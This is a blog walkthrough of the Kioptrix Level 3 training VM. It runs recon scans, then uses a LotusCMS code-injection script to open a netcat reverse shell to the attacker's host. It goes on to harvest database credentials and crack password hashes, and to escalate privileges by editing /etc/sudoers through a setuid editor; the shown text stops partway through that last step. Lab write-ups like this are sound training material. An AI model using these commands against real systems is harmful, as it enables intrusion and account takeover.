Download Link :&amp;nbsp;&lt;span style=&quot;background-color: #f7f7f7; color: #333333; font-family: &amp;quot;helvetica neue&amp;quot; , &amp;quot;helvetica&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif; font-size: 14px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;https://download.vulnhub.com/kioptrix/KVM3.rar&quot; style=&quot;background-color: #f7f7f7; color: rgb(0, 89, 144) !important; font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; margin: 0px; outline-offset: -2px; outline: 0px;&quot;&gt;https://download.vulnhub.com/kioptrix/KVM3.rar&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
VM HOST : VMware Workstation/Player&lt;br /&gt;
Network : Briged mode with DHCP&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Nmap Scan :&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ nmap -A 192.168.1.5 -oN nmap.scan
 
 # Nmap 7.80 scan initiated Sun Apr 19 14:08:17 2020 as: nmap -A -oN nmap.scan 192.168.1.5
 Nmap scan report for 192.168.1.5
 Host is up (0.00050s latency).
 Not shown: 998 closed ports
 PORT   STATE SERVICE VERSION
 22/tcp open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
 | ssh-hostkey:
 |   1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)
 |_  2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA)
 80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
 | http-cookie-flags:
 |   /:
 |     PHPSESSID:
 |_      httponly flag not set
 |_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
 |_http-title: Ligoat Security - Got Goat? Security ...
 Device type: general purpose
 Running: Linux 2.6.X
 OS CPE: cpe:/o:linux:linux_kernel:2.6
 OS details: Linux 2.6.8 - 2.6.30
 Network Distance: 2 hops
 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
 TRACEROUTE (using port 21/tcp)
 HOP RTT     ADDRESS
 1   0.04 ms 172.17.0.1
 2   0.41 ms 192.168.1.5
 
 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
 # Nmap done at Sun Apr 19 14:08:27 2020 -- 1 IP address (1 host up) scanned in 9.80 seconds
&lt;/code&gt;&lt;/pre&gt;
Findings :&lt;br /&gt;
* The apache web server is running on port 80.&lt;br /&gt;
* SSH is running on port 22.&lt;br /&gt;
&lt;br /&gt;
Checking the web app&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ python urlCroll.py http://kioptrix3.com/
 
 http://kioptrix3.com/index.php?page=index
 http://kioptrix3.com/index.php?system=Blog
 http://kioptrix3.com/index.php?system=Admin
 http://kioptrix3.com//gallery
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
Link : &lt;b&gt;&lt;a href=&quot;https://github.com/Ajaytekam/urlCroll&quot;&gt;urlCroll.py&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
http://kioptrix3.com/index.php?page=index&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQIzosxfTkC2lQDMBZji-HiTW5SAyMweEHiHrOSBDky_mBdyS2zI8DJLylUVuHuJIC3rfog3ieM7QO6blUqqyYuwo-hEO6YpdVeSOxiGywWgJbtZ5yfjeRselOt8IU5oiLVuI8jZ4oYyU/s1600/src1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;469&quot; data-original-width=&quot;778&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQIzosxfTkC2lQDMBZji-HiTW5SAyMweEHiHrOSBDky_mBdyS2zI8DJLylUVuHuJIC3rfog3ieM7QO6blUqqyYuwo-hEO6YpdVeSOxiGywWgJbtZ5yfjeRselOt8IU5oiLVuI8jZ4oYyU/s400/src1.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
http://kioptrix3.com/index.php?system=Admin&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGEHrVV_XKhIvEIwiuLdRUJYrOmukLqD4pBbIHGvq99KBSaFRAea1I-Lm-YTrLy9FfhYH56Dlsm9ARk9XD7rfMN9XRWVHGz5wjxVIiDtcDg3rJ-nESsw_6F1Tyhwxqy-HnlNLjTNXg2kI/s1600/src2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;333&quot; data-original-width=&quot;331&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGEHrVV_XKhIvEIwiuLdRUJYrOmukLqD4pBbIHGvq99KBSaFRAea1I-Lm-YTrLy9FfhYH56Dlsm9ARk9XD7rfMN9XRWVHGz5wjxVIiDtcDg3rJ-nESsw_6F1Tyhwxqy-HnlNLjTNXg2kI/s320/src2.png&quot; width=&quot;318&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
http://kioptrix3.com/index.php?system=Blog&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmBK1GFdC1ZWgtvBlt-VOUyfYf3SOkxSrVsulLPCU7LAig5XtfbBNJn1rGOiek0krgGwoeg8okvdDaT9ErC_m-gAmrm9i4Yfk_4xJ9PKA8qkgM7KQTTgBkLT8aNzImZTdMNs8rfGdZeJo/s1600/src3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;726&quot; data-original-width=&quot;773&quot; height=&quot;300&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmBK1GFdC1ZWgtvBlt-VOUyfYf3SOkxSrVsulLPCU7LAig5XtfbBNJn1rGOiek0krgGwoeg8okvdDaT9ErC_m-gAmrm9i4Yfk_4xJ9PKA8qkgM7KQTTgBkLT8aNzImZTdMNs8rfGdZeJo/s320/src3.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Also note that the web app is using LotasCMS.&lt;br /&gt;
&lt;br /&gt;
There is also a gallery app, but to access all its content map the IP address of VM to kioptrix3.con by adding it to /etc/hosts file&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ sudo echo &#39;192.168.1.5     kioptrix3.com&#39; &amp;gt;&amp;gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;
URL of gallery app is :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; http://kioptrix3.com/gallery
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBqCoodtgSImSTw6PUgRW8r1Ef4ge0m3hAwwGOpkUeu7Oh6ULiM9vAFR-V2WhaYb7YeVLvSMXgq3mH9Cbn3zSbQb0Y-Wgt1Jexp9KE92RmlRuEaTgpz223-fsWVGX-yMdvIOVgYbDrXmQ/s1600/src4.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;549&quot; data-original-width=&quot;808&quot; height=&quot;271&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBqCoodtgSImSTw6PUgRW8r1Ef4ge0m3hAwwGOpkUeu7Oh6ULiM9vAFR-V2WhaYb7YeVLvSMXgq3mH9Cbn3zSbQb0Y-Wgt1Jexp9KE92RmlRuEaTgpz223-fsWVGX-yMdvIOVgYbDrXmQ/s400/src4.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: x-large;&quot;&gt;Scanning Web Application :&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;nikto &lt;/b&gt;scan output&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ nikto -host kioptrix3.com
 
 - Nikto v2.1.5
 ---------------------------------------------------------------------------
 + Target IP:          192.168.1.5
 + Target Hostname:    kioptrix3.com
 + Target Port:        80
 + Start Time:         2020-04-20 18:46:19 (GMT5.5)
 ---------------------------------------------------------------------------
 + Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
 + Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.6
 + The anti-clickjacking X-Frame-Options header is not present.
 + Cookie PHPSESSID created without the httponly flag
 + No CGI Directories found (use &#39;-C all&#39; to force check all possible dirs)
 + Server leaks inodes via ETags, header found with file /favicon.ico, inode: 631780, size: 23126, mtime: 0x46b9ece7ac600
 + Apache/2.2.8 appears to be outdated (current is at least Apache/2.2.22). Apache 1.3.42 (final release) and 2.0.64 are also current.
 + PHP/5.2.4-2ubuntu5.6 appears to be outdated (current is at least 5.4.4)
 + DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-us/library/e8z01xdh%28VS.80%29.aspx for details.
 + OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
 + OSVDB-12184: /index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
 + OSVDB-3092: /phpmyadmin/changelog.php: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
 + OSVDB-3268: /icons/: Directory indexing found.
 + Cookie phpMyAdmin created without the httponly flag
 + OSVDB-3233: /icons/README: Apache default file found.
 + /phpmyadmin/: phpMyAdmin directory found
 + 6544 items checked: 0 error(s) and 14 item(s) reported on remote host
 + End Time:           2020-04-20 18:46:28 (GMT5.5) (9 seconds)
 ---------------------------------------------------------------------------
 + 1 host(s) tested
&lt;/code&gt;&lt;/pre&gt;
phpmyadmin directory is found.&lt;br /&gt;
&lt;br /&gt;
Similarly results from &lt;b&gt;dirb&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ dirb http://kioptrix3.com | tee dirb.scan
 
 ==&amp;gt; DIRECTORY: http://192.168.1.5/cache/
 + http://192.168.1.5/favicon.ico (CODE:200|SIZE:23126)                                                                                                                                                         + http://192.168.1.5/index.php (CODE:200|SIZE:1819)                                                                                                                                                            + http://192.168.1.5/cache/index.html (CODE:200|SIZE:1819)                                                
 ==&amp;gt; DIRECTORY: http://192.168.1.5/core/controller/                                                      
 + http://192.168.1.5/core/index.php (CODE:200|SIZE:0)                                                                                                                                                          + http://192.168.1.5/gallery/index.php (CODE:500|SIZE:5650)                                                                                                                                                    + http://192.168.1.5/phpmyadmin/favicon.ico (CODE:200|SIZE:18902)                                                                                                                                              + http://192.168.1.5/phpmyadmin/index.php (CODE:200|SIZE:8136)                                             
 + http://192.168.1.5/phpmyadmin/phpinfo.php (CODE:200|SIZE:0)                                                                                                                                                  + http://192.168.1.5/style/admin.php (CODE:200|SIZE:356)                                                                                                                                                       + http://192.168.1.5/style/index.php (CODE:200|SIZE:0)                                                                                                                                                         + http://192.168.1.5/core/controller/index.php (CODE:200|SIZE:0)                                                                                                                                               + http://192.168.1.5/core/lib/index.php (CODE:200|SIZE:0)                                                                                                                                                      + http://192.168.1.5/core/model/index.php (CODE:200|SIZE:0)                                                  
 + http://192.168.1.5/core/view/index.php (CODE:200|SIZE:0)                                                                                                                                                     + http://kioptrix3.com/favicon.ico (CODE:200|SIZE:23126)
 + http://kioptrix3.com/index.php (CODE:200|SIZE:1819)
 + http://kioptrix3.com/cache/index.html (CODE:200|SIZE:1819)
 + http://kioptrix3.com/core/index.php (CODE:200|SIZE:0)
 + http://kioptrix3.com/phpmyadmin/favicon.ico (CODE:200|SIZE:18902)
 + http://kioptrix3.com/phpmyadmin/index.php (CODE:200|SIZE:8136)
 + http://kioptrix3.com/phpmyadmin/phpinfo.php (CODE:200|SIZE:0)
 + http://kioptrix3.com/style/admin.php (CODE:200|SIZE:356)
 + http://kioptrix3.com/style/index.php (CODE:200|SIZE:0)
 + http://kioptrix3.com/core/controller/index.php (CODE:200|SIZE:0)
 + http://kioptrix3.com/core/lib/index.php (CODE:200|SIZE:0)
 + http://kioptrix3.com/core/model/index.php (CODE:200|SIZE:0)
 + http://kioptrix3.com/core/view/index.php (CODE:200|SIZE:0)
&lt;/code&gt;&lt;/pre&gt;
and also scan results from &lt;b&gt;dirsearch&lt;/b&gt; :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ ./dirsearch.py -u http://kioptrix3.com -e php,asp,aspx,jsp,html,zip,jar,sql --plain-text-report=dirsearchReport
 
 $ cat dirsearchReport | grep 200
 
 200     2KB  http://kioptrix3.com/cache/
 200   688B   http://kioptrix3.com/core/fragments/moduleInfo.phtml
 200    23KB  http://kioptrix3.com/favicon.ico
 200     2KB  http://kioptrix3.com/index.php
 200     2KB  http://kioptrix3.com/index.php/login/
 200   146B   http://kioptrix3.com/modules/TinyMCE/TinyMCEModuleInfo.php
 200     8KB  http://kioptrix3.com/phpmyadmin/
&lt;/code&gt;&lt;/pre&gt;
We can access myphpadmin with deafult user `admin` and blank password field, but there is only information_schema is accessible with default credentials.&lt;br /&gt;
&lt;br /&gt;
Exploiting Lotas CMS :&lt;br /&gt;
&lt;br /&gt;
A quick search of lotasCMS vulnerability will shows that version 3.0 is vulnerable to RCE&lt;br /&gt;
&lt;br /&gt;
Link :&amp;nbsp; &lt;a href=&quot;https://github.com/Hood3dRob1n/LotusCMS-Exploit&quot;&gt;https://github.com/Hood3dRob1n/LotusCMS-Exploit&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
To exploit this start a listener on attack machine&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ wget https://github.com/Hood3dRob1n/LotusCMS-Exploit/raw/master/lotusRCE.sh
 $ chmod +x lotusRCE.sh
 $ ./lotusRCE.sh kioptrix3.com /
 
 Path found, now to check for vuln....
 
 &amp;lt;/html&amp;gt;Hood3dRob1n
 Regex found, site is vulnerable to PHP Code Injection!
 
 About to try and inject reverse shell....
 what IP to use?
 192.168.1.3      &amp;lt;----- IP address of local machine
 What PORT?
 1234             &amp;lt;---- listener port number
 
 OK, open your local listener and choose the method for back connect:
 1) NetCat -exploit    3) NetCat Backpipe5) Exit
 2) NetCat /dev/tcp  4) NetCat FIFO
 #? 1
&lt;/code&gt;&lt;/pre&gt;
and we get the reverse connection&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; Listening on [0.0.0.0] (family 0, port 1234)
 Connection from kioptrix3.com 37530 received!
 whoami
 www-data
&lt;/code&gt;&lt;/pre&gt;
getting tty shell&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; python -c &#39;import pty;pty.spawn(&quot;/bin/sh&quot;)&#39;
 $
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Enumerating files :&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
Looking at web directory :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ pwd
 pwd
 /home/www/kioptrix3.com
 $ ls
 cache  data    gallery  index.php  style
 core   favicon.ico  gnu-lgpl.txt  modules    update.php
 
 $ cd gallery
 
 $ ls
 BACK     gfooter.php     logout.php        readme.html    tags.php
 db.sql     gfunctions.php  p.php       recent.php     themes
 g.php     gheader.php     photos       register.php   version.txt
 gadmin     index.php     photos.php        scopbin      vote.php
 gallery.php  install.BAK     post_comment.php  search.php
 gconfig.php  login.php     profile.php       slideshow.php
 
 $ cat gconfig.php
 &amp;lt;?php
     error_reporting(0);
     /*
         A sample Gallarific configuration file. You should edit
         the installer details below and save this file as gconfig.php
         Do not modify anything else if you don&#39;t know what it is.
     */
 
     // Installer Details -----------------------------------------------
 
     // Enter the full HTTP path to your Gallarific folder below,
     // such as http://www.yoursite.com/gallery
     // Do NOT include a trailing forward slash
 
     $GLOBALS[&quot;gallarific_path&quot;] = &quot;http://kioptrix3.com/gallery&quot;;
 
     $GLOBALS[&quot;gallarific_mysql_server&quot;] = &quot;localhost&quot;;
     $GLOBALS[&quot;gallarific_mysql_database&quot;] = &quot;gallery&quot;;
     $GLOBALS[&quot;gallarific_mysql_username&quot;] = &quot;root&quot;;
     $GLOBALS[&quot;gallarific_mysql_password&quot;] = &quot;fuckeyou&quot;;
&lt;/code&gt;&lt;/pre&gt;
In webdirectory of gallery we find database creds &quot;root/fukeyou&quot;, and we can successfully logged-in on myphpadmin, and on gallery database we found two usernames with hashed passwords :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; dreg         fb887aabd50f243b3f155c0f85
 loneferret   5badcaf789d3d1d09794d8f021f40f0e
&lt;/code&gt;&lt;/pre&gt;
Although these passwords are cracked with crackstation.net&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; dreg        :  Mast3r
 loneferret  :  starwars
&lt;/code&gt;&lt;/pre&gt;
With user &quot;loneferret/starwars&quot; we can successfully ssh into the machine&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ ssh loneferret@192.168.1.5
 loneferret@192.168.1.5&#39;s password:
 Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686
 
 The programs included with the Ubuntu system are free software;
 the exact distribution terms for each program are described in the
 individual files in /usr/share/doc/*/copyright.
 
 Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
 applicable law.
 
 To access official Ubuntu documentation, please visit:
 http://help.ubuntu.com/
 Last login: Mon Apr 20 04:26:57 2020 from 192.168.1.3
 loneferret@Kioptrix3:~$ whoami
 loneferret
 loneferret@Kioptrix3:~$
&lt;/code&gt;&lt;/pre&gt;
But with this we can&#39;t access the root directory&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; loneferret@Kioptrix3:~$ cd /root
 -bash: cd: /root: Permission denied
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: x-large;&quot;&gt;Privilege Escalation :&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Method 1 :&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
There is a file CompanyPolicy.README, which descirbe command &#39;sudo ht&#39;&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; loneferret@Kioptrix3:~$ cat CompanyPolicy.README
 Hello new employee,
 It is company policy here to use our newly installed software for editing, creating and viewing files.
 Please use the command &#39;sudo ht&#39;.
 Failure to do so will result in you immediate termination.
 
 DG
 CEO
 loneferret@Kioptrix3:~$ sudo ht
 sudo: no passwd entry for root!
 
 loneferret@Kioptrix3:~$ which ht
 /usr/local/bin/ht
 
 loneferret@Kioptrix3:~$ ls -al /usr/local/bin/ht
 -rwsr-sr-x 1 firefart root 2072344 2011-04-16 07:26 /usr/local/bin/ht
&lt;/code&gt;&lt;/pre&gt;
`ht` is a file editor/viewer/analyzer for executables. And in this case it is setted to suid, means it runs with root privilege, and we can edit files which require to root access with it. Means we can escalate our privilege by editing `etc/sudoers` file and allow use `loneferret` to `/bin/su` file, which gives us root access.&lt;br /&gt;
&lt;br /&gt;
Open th file By&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ sudo ht /etc/sudoers
&lt;/code&gt;&lt;/pre&gt;
Which looks like this&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVnoQJ1vJnwIeKwqvGcjSpBlVa0wysxF7Z-zhraPCWmnFuaNtBSzpLXqbEiWYhxtRpg_s3BQdVmlnPHC7OpvtL1ypE-e7agRaLXnXTuXtK3CuDjcONfzUFIOksj9loXYSmZE7p8g96uB8/s1600/src5.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;539&quot; data-original-width=&quot;801&quot; height=&quot;268&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVnoQJ1vJnwIeKwqvGcjSpBlVa0wysxF7Z-zhraPCWmnFuaNtBSzpLXqbEiWYhxtRpg_s3BQdVmlnPHC7OpvtL1ypE-e7agRaLXnXTuXtK3CuDjcONfzUFIOksj9loXYSmZE7p8g96uB8/s400/src5.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
To change it into text mode press `F6` and coose text mode&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyXzr6F-XOiBYOx13iXTLEtqCDA-A-WqoyFS9wG8VDk7waNXJ9vRFZoS1rl_6BLAEGP0kSC2a2VRvQihDMunXy-4xyB6eD3AayJ7GYjJ3YkcHr7Kf6jjBBJGW-8HTw-dXV008NGidfbbQ/s1600/src6.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;426&quot; data-original-width=&quot;632&quot; height=&quot;268&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyXzr6F-XOiBYOx13iXTLEtqCDA-A-WqoyFS9wG8VDk7waNXJ9vRFZoS1rl_6BLAEGP0kSC2a2VRvQihDMunXy-4xyB6eD3AayJ7GYjJ3YkcHr7Kf6jjBBJGW-8HTw-dXV008NGidfbbQ/s400/src6.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
We have to change &#39;!/usr/bin/su&#39; to &#39;/bin/su&#39;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguRMp4P6QSSl7Ah4BW8kirIs2oHAwsPGBE8f8xb4fh3RVHR3CML2Q3Raeda45tfizanwQL0c9l9EyIAnspifhafYztuQ6OFGIL6CY7tGgzviJpgfGmema8z2pkVCWBqVRnswUCez5vHhY/s1600/src7.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;109&quot; data-original-width=&quot;561&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguRMp4P6QSSl7Ah4BW8kirIs2oHAwsPGBE8f8xb4fh3RVHR3CML2Q3Raeda45tfizanwQL0c9l9EyIAnspifhafYztuQ6OFGIL6CY7tGgzviJpgfGmema8z2pkVCWBqVRnswUCez5vHhY/s1600/src7.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
To edit file change the mode into &quot;hex&quot; (press F6) and press F4 to edit, now just place &quot;20&quot; (hex for space) into the place of &quot;!/usr&quot; in &quot;!/usr/bin/su&quot;, which looks like&lt;br /&gt;
&lt;br /&gt;
Before :&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBAV7OHMZWSxzdLnLee0-9CKEONc8vVjuN5aaFihHt4Dp4fP9wOjHTzbUYtUcV6zVlvCyMGrEnM04edA4yRgS-vWSfMl_5uL6xggwS6CDxK3s-b6LOi4re8dK38uvnj1zM8l_4fl-uZO8/s1600/src8.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;139&quot; data-original-width=&quot;683&quot; height=&quot;81&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBAV7OHMZWSxzdLnLee0-9CKEONc8vVjuN5aaFihHt4Dp4fP9wOjHTzbUYtUcV6zVlvCyMGrEnM04edA4yRgS-vWSfMl_5uL6xggwS6CDxK3s-b6LOi4re8dK38uvnj1zM8l_4fl-uZO8/s400/src8.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
